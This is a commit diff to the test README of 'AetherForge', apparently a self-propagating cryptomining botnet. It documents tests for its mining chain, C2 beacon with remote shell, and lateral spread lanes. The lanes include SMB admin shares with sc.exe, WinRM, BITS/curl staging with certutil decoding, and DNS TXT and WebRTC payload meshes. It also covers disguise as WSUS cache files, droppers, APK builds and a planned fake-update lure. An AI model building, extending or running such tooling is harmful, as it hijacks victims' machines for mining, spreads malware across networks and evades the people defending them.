Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
242
tests/README.md
242
tests/README.md
@@ -1,6 +1,6 @@
|
||||
# AetherForge Test Suite
|
||||
|
||||
**Current Vitest:** 732 tests in 87 files (`cd server/web && npm run test -- --run`). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
**Current Vitest:** 736 tests in 87 files (`cd server/web && npm run test -- --run`). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
|
||||
One command runs everything:
|
||||
|
||||
@@ -14,10 +14,23 @@ Or with PowerShell directly:
|
||||
.\scripts\test-suite.ps1
|
||||
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
|
||||
.\scripts\test-suite.ps1 -ReconOnly
|
||||
.\scripts\test-suite.ps1 -P2
|
||||
```
|
||||
|
||||
**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
|
||||
|
||||
|
||||
## P2 completion (2026-06-07)
|
||||
|
||||
Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landing parallel agents: `.\scripts\test-suite.ps1 -P2` (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub.
|
||||
|
||||
| Area | Quick run |
|
||||
|------|-----------|
|
||||
| Mining chain lifecycle | `cd agent && go test ./client/... -run MiningChain -count=1` |
|
||||
| WS/beacon integration | `cd agent && go test ./client/... -run WSBeacon -count=1` and `cd server && go test ./internal/api/... -run WSBeacon -count=1` |
|
||||
| Spread lanes (mock) | `cd server && go test ./internal/api/... -run SpreadLane -count=1` and `cd agent && go test ./deploy/... -run WinRM -count=1` |
|
||||
| Path Forge | `cd server && go test ./internal/builder/... -run PathForge -count=1` and `cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx` |
|
||||
| E2E onion + discover | Phase 8: `lotl-timeline.spec.ts`, `discover-spread.spec.ts` |
|
||||
## Phases
|
||||
|
||||
| Phase | What it runs | Location |
|
||||
@@ -52,6 +65,29 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski
|
||||
|
||||
Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
|
||||
|
||||
## Fleet role split (Seeder / Miner)
|
||||
|
||||
**Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`).
|
||||
|
||||
**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`).
|
||||
|
||||
**Forge:** Advanced → Fleet role chips (`auto` | `miner` | `seeder`); seeder bake sets `MiningDisabled`, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: `server.fleet_roles_enabled` (default off).
|
||||
|
||||
```bat
|
||||
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
|
||||
cd server && go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run "FleetRole|Emberwake|Seeder" -count=1
|
||||
cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/BuilderPage.test.tsx
|
||||
```
|
||||
|
||||
| Area | Test file(s) |
|
||||
|------|----------------|
|
||||
| Role resolution + seeder forge defaults | `agent/config/fleet_role_test.go` |
|
||||
| Seeder staging + LAN seeder pick | `agent/deploy/seeder_staging_test.go`, `lan_seeder_test.go` |
|
||||
| Mining skip + pressure fields | `agent/client/fleet_pressure_test.go`, `fleet_role_lifecycle_test.go` |
|
||||
| Auth hints + emberwake heat ingest | `server/internal/api/fleet_role_test.go` |
|
||||
| Emberwake heat helper | `server/internal/strategy/fleet_role_test.go` |
|
||||
| Forge bake + builtin template | `server/internal/builder/fleet_role_test.go` |
|
||||
|
||||
## Adaptive Strategy
|
||||
|
||||
The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
|
||||
@@ -60,12 +96,31 @@ Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (ser
|
||||
|
||||
## Phenotype cloning
|
||||
|
||||
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge. Inherited phenotype **overrides** adaptive strategy on auth.
|
||||
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge.
|
||||
|
||||
**Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy.
|
||||
|
||||
When two lane winners exist for the same fingerprint bucket with different `join_lane` / `spread_lane` values, the strategy engine crossbreeds their tier orders (single-point crossover + failed-tier mutation) and stores the result in an in-memory `BreedingRegistry`. Siblings without a direct fleet winner receive the bred order as `inherited_phenotype` with `genetic_breed: true`.
|
||||
|
||||
Regression:
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/strategy/... ./internal/api/... -run "Phenotype|Breed|Genetic" -count=1
|
||||
```
|
||||
|
||||
## Failure atlas
|
||||
|
||||
The failure atlas (`server/internal/atlas/`) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into `adaptive_strategy.skip_tiers`, and pushes `atlas_skips` on auth. LOTL Timeline marks tiers `skipped_by_atlas`.
|
||||
|
||||
**Atlas LAN gossip (optional):** When Calibrate `server.atlas_lan_gossip_enabled` is true, agents broadcast tier+condition skip hints to WS-connected siblings on the same /24. The server relays `atlas_gossip` frames (no raw UDP). Siblings merge hints into local `atlas_skips` before spread attempts. Auth pushes `atlas_lan_gossip_enabled` in `auth_response`.
|
||||
|
||||
Regression:
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/atlas/... ./internal/api/... -run "AtlasGossip|LanGossip|MergeGossip" -count=1
|
||||
cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1
|
||||
```
|
||||
|
||||
## Court session
|
||||
|
||||
When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a **Singular Machine Court**: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with `court_session=true` for LOTL Timeline.
|
||||
@@ -92,6 +147,32 @@ cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
|
||||
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
|
||||
```
|
||||
|
||||
### Client WS/beacon integration (2026-06-07)
|
||||
|
||||
httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 `command` frame — no separate chunk type), and disconnect cleanup.
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1
|
||||
cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
|
||||
```
|
||||
|
||||
| Feature | Test file(s) | Suite phase |
|
||||
|---------|----------------|-------------|
|
||||
| Auth → stats tick → `stats_batch` coalescing (dashboard WS) | `server/internal/api/ws_beacon_integration_test.go`, `websocket_test.go` | 1 |
|
||||
| Beacon registration + heartbeat + queued commands + result relay | `server/internal/api/ws_beacon_integration_test.go`, `beacon_test.go` | 1 |
|
||||
| Beacon state cleared on WS reconnect | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||||
| Operator name preserved vs hostname on reconnect | `server/internal/api/websocket_test.go` | 1 |
|
||||
| Command dispatch (`exec_shell`, `mining_diagnostics`) server → agent WS | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||||
| `ai_snapshot_request` → `ai_snapshot` telemetry cache | `server/internal/api/ws_beacon_integration_test.go`, `fleet_intelligence_test.go` | 1 |
|
||||
| Agent disconnect → offline + `agent_offline` + log cache cleared | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||||
| Agent WS command round-trip (`exec_shell`, `mining_diagnostics`, `upload`) | `agent/client/ws_beacon_integration_test.go` | 2 |
|
||||
| Agent `ai_snapshot` WS write + `handleMessage` mining diagnostics | `agent/client/ws_beacon_integration_test.go`, `handlemessage_test.go` | 2 |
|
||||
| HTTPS beacon heartbeat + command + `/beacon/result` | `agent/client/ws_beacon_integration_test.go`, `beacon_transport.go` | 2 |
|
||||
| Reconnect auth payload (`worker_name` vs `hostname`) | `agent/client/ws_beacon_integration_test.go`, `websocket_test.go` | 1 / 2 |
|
||||
| Disconnect write guard (`conn == nil`) | `agent/client/ws_beacon_integration_test.go` | 2 |
|
||||
|
||||
**Note:** Full `mining_diagnostics` JSON over WS is slow (~1s+) on Windows due to runtime probes; agent integration tests stub probes via `stubFastMiningDiagnostics` and relay a representative `command_result` frame on the wire. Server-side tests dispatch commands over WS independently of diagnostics generation time.
|
||||
|
||||
### Fleet AI coverage map
|
||||
|
||||
| Feature | Test file(s) | Suite phase |
|
||||
@@ -104,12 +185,21 @@ cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/p
|
||||
| Legacy Ollama decide/report API | `server/internal/api/ai_handler_test.go` | 1 |
|
||||
| `ai_snapshot` JSON shape + stuck detection | `agent/client/ai_snapshot_test.go` | 2 |
|
||||
| `ai_snapshot_request` WS dispatch | `agent/client/handlemessage_test.go` | 2 |
|
||||
| `ai_commands` handlers + path traversal | `agent/client/ai_commands_test.go` | 2 |
|
||||
| `ai_commands` handlers + path traversal + spread/restart/syscheck | `agent/client/ai_commands_test.go` | 2 |
|
||||
| Upload/download/read_file path guards + config round-trip | `agent/client/client_upload_test.go`, `file_ops_common_test.go`, `deploy/desktop_path_test.go` | 2 |
|
||||
| Agent/fusion/APK artifact download routes | `server/internal/api/download_handler_test.go`, `dropper_handler_test.go`, `builder/handler_serve_test.go` | 1 |
|
||||
| APK asset paths ↔ BinaryExtractor.kt cross-check | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
|
||||
| Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 |
|
||||
| LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
|
||||
| LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 |
|
||||
| Calibrate help keys (`calibration_ai_control`) | `server/web/src/help/settingHelp.test.ts`, `docAnchors.test.ts` | 4 |
|
||||
| Singular Machine Court prompts | `server/internal/ai/court_prompt_test.go` | 1 |
|
||||
| Persona spread temperament (tier order hints) | `server/internal/ai/personas_test.go` | 1 |
|
||||
| Auth `spread_temperament` when AI control | `server/internal/api/strategy_auth_test.go`, `scout_phenotype_test.go` | 1 |
|
||||
| Fleet AI snapshot spread temperament | `server/internal/api/fleet_ai_handler_test.go`, `fleet_intelligence_test.go` | 1 |
|
||||
| APK scout preset + builtin flags | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
|
||||
| Scout discover skips staging | `agent/deploy/scout_discover_test.go` | 2 |
|
||||
| Scout remote action gates | `agent/client/scout_mode_test.go` | 2 |
|
||||
| Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 |
|
||||
|
||||
### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)
|
||||
|
||||
@@ -119,17 +209,40 @@ cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/p
|
||||
| Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 |
|
||||
| Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 |
|
||||
| Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 |
|
||||
| Subnet immune spread pause (/24, 5 failures → 24h) | `server/internal/atlas/subnet_immune_test.go`, `server/internal/db/subnet_spread_pause_test.go`, `server/internal/api/spread_immunity_test.go` | 1 |
|
||||
| Court-mandated retry (`spread_retry_lane`, `skip_tier` → L4 dispatch) | `server/internal/ai/court_commands_test.go`, `server/internal/ai/court_prompt_test.go`, `server/internal/ai/scheduler_test.go` | 1 |
|
||||
| Hashrate-gated autospread (earn-before-burn) | `agent/deploy/hashrate_gate_test.go`, `agent/client/spread_policy_test.go` | 2 |
|
||||
| Atlas LAN gossip relay + merge | `server/internal/atlas/lan_gossip_test.go`, `server/internal/api/atlas_gossip_test.go` | 1 |
|
||||
| Agent atlas gossip merge + broadcast | `agent/client/atlas_gossip_test.go` | 2 |
|
||||
| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 |
|
||||
| AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 |
|
||||
| Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
|
||||
| Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 |
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance" -count=1
|
||||
cd agent && go test ./client/... -run Phenotype -count=1
|
||||
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance|Subnet|SpreadRetry|Hashrate|Immune" -count=1
|
||||
cd agent && go test ./deploy/... ./client/... -run "Hashrate|SpreadPolicy|Autospread" -count=1
|
||||
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
|
||||
```
|
||||
|
||||
### Earn-before-burn propagation (2026-06-07)
|
||||
|
||||
Calibrate `server.hashrate_gate_spread_min` + `server.hashrate_gate_hps` push `spread_policy` on auth. Agents defer autospread until mining holds above the H/s threshold for N minutes; SMB/WinRM sweeps also stop when the mining chain is exhausted.
|
||||
|
||||
```bat
|
||||
cd agent && go test ./deploy/... -run Hashrate -count=1
|
||||
cd server && go test ./internal/ai/... -run "Court|SpreadRetry" -count=1
|
||||
cd server && go test ./internal/atlas/... ./internal/db/... -run Subnet -count=1
|
||||
```
|
||||
|
||||
### Subnet immune response (2026-06-07)
|
||||
|
||||
Five spread failures on a /24 (`subnet_spread_pause` table) pause `discover_and_join`, `spread_now`, and `stage_fetch` to that prefix for 24 hours. Failures increment via spread-cred report edges and block in `SendAgentCommand`.
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -run "Subnet|Immune" -count=1
|
||||
```
|
||||
|
||||
### Fleet AI gaps
|
||||
|
||||
- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
|
||||
@@ -257,7 +370,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|
||||
|------|------------|---------|
|
||||
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
|
||||
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
|
||||
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
|
||||
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers — format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
|
||||
| `dns_txt` | DNS TXT mesh — `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
|
||||
| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
|
||||
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
|
||||
@@ -269,6 +382,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|
||||
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
|
||||
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
|
||||
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
|
||||
| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. |
|
||||
|
||||
### Fleet recon
|
||||
|
||||
@@ -299,7 +413,7 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|
||||
|
||||
| Term | Status | Notes |
|
||||
|------|--------|-------|
|
||||
| Full Playwright discover→spread E2E | **Planned** | Vitest covers Probe & Join wiring; no live multi-hop E2E yet (see [Gaps](#gaps-hard-to-unit-test)). |
|
||||
| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). |
|
||||
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
|
||||
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |
|
||||
|
||||
@@ -317,7 +431,8 @@ cd server\web && npm run test:e2e
|
||||
Matches `scripts/test-suite.ps1 -ReconOnly`:
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan" -count=1
|
||||
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan|SpreadRoute" -count=1
|
||||
cd server && go test ./internal/spreadrouter/... -count=1
|
||||
cd server && go test ./internal/db/... -run CredEdge -count=1
|
||||
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
|
||||
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
|
||||
@@ -363,6 +478,8 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
|
||||
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||||
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||||
| Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
|
||||
| LOTL Timeline E2E | `/lotl-timeline` 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
|
||||
| Discover→spread E2E | Crucible **Probe & Join** → `discover_and_join` POST + stub join_lane ack in Access Depth | `server/web/e2e/discover-spread.spec.ts` | 8 |
|
||||
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
|
||||
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
|
||||
|
||||
@@ -372,6 +489,46 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
|
||||
|------|-------------------|------|-------|
|
||||
| `TestDownloadCommandRejectsPathTraversal` | Agent `download` (read) blocks traversal paths like upload | `agent/client/client_upload_test.go` | 2 |
|
||||
|
||||
### P1 — file handling + bot/AI commands (2026-06-07)
|
||||
|
||||
| Test | What it validates | File | Phase |
|
||||
|------|-------------------|------|-------|
|
||||
| `TestUploadCommandRejectsPathTraversal` / `TestDownloadCommandRejectsPathTraversal` | 10 traversal variants (`..`, `~/..`, `@desktop/..`, `desktop:..`, mixed separators) on upload + download | `agent/client/client_upload_test.go` | 2 |
|
||||
| `TestResolveRemotePathRejectsTraversalVariants` | Same traversal matrix at `deploy.ResolveRemotePath` layer | `agent/deploy/desktop_path_test.go` | 2 |
|
||||
| `TestReadFileCommandRejectsOversize` / `TestReadFileCommandAcceptsWithinCap` | `read_file` 512 KiB cap (`maxReadFileBytes`) | `agent/client/file_ops_common_test.go` | 2 |
|
||||
| `TestAgentConfigFileUploadReadRoundTrip` | Config JSON upload → `read_file` round-trip on agent | `agent/client/file_ops_common_test.go` | 2 |
|
||||
| `TestHandleAISpreadNowWhenEnabled` / `TestHandleAIRestartMining` / `TestHandleAIFullSysCheck` | Fleet AI `ai_commands` handlers (spread, mining restart, syscheck JSON) | `agent/client/ai_commands_test.go` | 2 |
|
||||
| `TestValidateAICommandPathRejectsTraversal` / `TestHandleAIExecShellRejectsTraversalPath` | `exec_shell` working-directory path guard | `agent/client/ai_commands_test.go` | 2 |
|
||||
| `TestServeAgentBinaryDownload*` / `TestFindAgentBinary*` | `/api/download/agent-{windows,mac,linux}` binary lookup + HTTP stream | `server/internal/api/download_handler_test.go` | 1 |
|
||||
| `TestDownloadBuildArtifact*` / `TestDownloadBuildArtifactAPK` | Build `/download`, `/artifact/{name}` for fusion zip + APK | `server/internal/builder/handler_serve_test.go` | 1 |
|
||||
| `TestDropperServeGetPrefersBundleArtifact` / `TestResolveDropperArtifact` | Dropper `/get` prefers fusion bundle over launcher | `server/internal/api/dropper_handler_test.go` | 1 |
|
||||
| `TestApkAssetPathsMatchBinaryExtractor` | Go builder writes `assets/agent` + `config.json` matching `BinaryExtractor.kt` / `AgentConfig.kt` | `server/internal/builder/build_apk_test.go` | 1 |
|
||||
| `TestWriteApkConfigJSONFilePermissions` | APK `config.json` 0644 + assets dir 0755 (POSIX; skipped on Windows umask) | `server/internal/builder/handler_serve_test.go` | 1 |
|
||||
|
||||
Quick run (file-handling sweep):
|
||||
|
||||
```bat
|
||||
cd agent && go test ./client/... -run "Upload|AI|Command|File" -count=1
|
||||
cd server && go test ./internal/builder/... ./internal/api/... -run "Download|Upload|Dropper|Artifact" -count=1
|
||||
```
|
||||
|
||||
**Note:** The broad agent filter also matches unrelated integration tests (`TestWSBeaconIntegration*`, `TestHandleAggressiveCommand*`). Tight subset:
|
||||
|
||||
```bat
|
||||
cd agent && go test ./client/ -run "TestUpload|TestDownloadCommand|TestHandleAI|TestValidateAI|TestReadFile|TestAgentConfig|TestContainsPath|TestResolveList" -count=1
|
||||
cd agent && go test ./deploy/ -run "ResolveRemotePath|RemotePath" -count=1
|
||||
```
|
||||
|
||||
Run PathForge + Path Tracer tests quickly:
|
||||
|
||||
```bat
|
||||
cd server && go test ./internal/builder/... -run PathForge -count=1
|
||||
cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteActionPathTracer|HandleAggressiveCommandWg|HandleAggressiveCommandService" -count=1
|
||||
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
|
||||
```
|
||||
|
||||
Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only.
|
||||
|
||||
Run P0 Go tests quickly:
|
||||
|
||||
```bat
|
||||
@@ -390,6 +547,19 @@ set AETHERFORGE_URL=http://127.0.0.1:8989
|
||||
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
|
||||
```
|
||||
|
||||
Run P2 LOTL timeline + discover→spread E2E (live server required — `test.bat` phase 8 seeds `:18989`):
|
||||
|
||||
```bat
|
||||
set AETHERFORGE_E2E_USER=testuser
|
||||
set AETHERFORGE_E2E_PASS=testpass
|
||||
set AETHERFORGE_URL=http://127.0.0.1:18989
|
||||
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
|
||||
```
|
||||
|
||||
`lotl-timeline.spec.ts` — navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`.
|
||||
|
||||
`discover-spread.spec.ts` — Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats — validates UI wiring, not real SMB spread.
|
||||
|
||||
`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
|
||||
|
||||
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
|
||||
@@ -410,19 +580,26 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
||||
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
|
||||
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||||
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
|
||||
| PathForge cancel / concurrent / skipped counter | `server/internal/builder/pathforge_test.go` | 1 |
|
||||
| Path Tracer wg_setup + discover routing | `agent/client/aggressive_commands_test.go`, `pathtracer_stub_test.go` | 2 |
|
||||
| Path Tracer Windows helpers + WG idle paths | `agent/client/pathtracer_windows_test.go` (windows tag) | 2 |
|
||||
| Path Forge + cancel UI | `server/web/src/pages/BuilderPage.test.tsx` (Kill Build, path-forge submit/busy) | 4 |
|
||||
| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||||
| P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
|
||||
| P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
|
||||
| P2 discover→spread E2E (Probe & Join + join_lane stub) | `server/web/e2e/discover-spread.spec.ts`, `discover-spread-stub.ts` | 8 |
|
||||
| Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 |
|
||||
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
|
||||
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
|
||||
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
|
||||
| Mining diagnostics JSON + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
|
||||
| Mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
|
||||
| **MiningChainRunner lifecycle** (construction, start/stop/cooldown, triple-onion ordering, tier hooks, onion/tier payloads, disabled/apk skip, failure advance, exhausted) | `agent/client/mining_chain_lifecycle_test.go` | 2 |
|
||||
| Chain cooldown / inprocess skips container | `agent/miner/fallback_chain_test.go` | 2 |
|
||||
